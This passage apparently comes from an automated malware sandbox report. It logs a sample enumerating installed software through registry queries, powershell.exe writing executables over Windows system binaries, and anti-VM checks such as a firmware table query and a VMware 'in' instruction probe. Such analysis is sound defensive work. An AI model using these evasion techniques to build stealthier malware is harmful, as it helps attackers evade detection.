RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java Auto Updater regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: G2BRUN regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{5BEFEB79-2B4D-4EEE-9979-AFDE0A20FADE}_is1\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: My manager4youdrivers version 6.2 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{829931FB-B163-40F9-8C58-F5603D324DE8}_is1\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: WIZVERA Process Manager 1,0,5,4 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{8941A397-4065-4F41-92CE-0EB610846EED}_is1\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Access MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Excel MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office PowerPoint MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Publisher MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Outlook MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Word MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (English) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office IME (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0028-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office InfoPath MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-006E-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OneNote MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00A1-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00BA-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 ActiveX regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 NPAPI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Acrobat Reader DC MUI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: MarkAny Inc. e-PageSafer V2.5 NoAX ( Basic )_2.5.1.18 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ePageSafer\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: TouchEn nxKey with E2E for 32bit regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\TouchEn nxKey\DisplayName	1

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

Detects Virtual Machines through their custom firmware (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation Oct. 7, 2021, 6:11 p.m.	information_class: 76 (SystemFirmwareTableInformation)		3221225507	0

Detects VMWare through the in instruction feature (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Oct. 7, 2021, 6:11 p.m.	stacktrace: exception.instruction_r: ed 64 8f 05 00 00 00 00 83 c4 04 81 fb 68 58 4d exception.symbol: lessabspac+0x4ca811 exception.instruction: in eax, dx exception.module: lessabspac.exe exception.exception_code: 0xc0000096 exception.offset: 5023761 exception.address: 0x7fa811 registers.esp: 11534176 registers.edi: 6673055 registers.eax: 1447909480 registers.ebp: 4833280 registers.edx: 22104 registers.ebx: 2256917605 registers.esi: 13 registers.ecx: 10	1	0	0

Generates some ICMP traffic

CalcCryptoInstalww.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All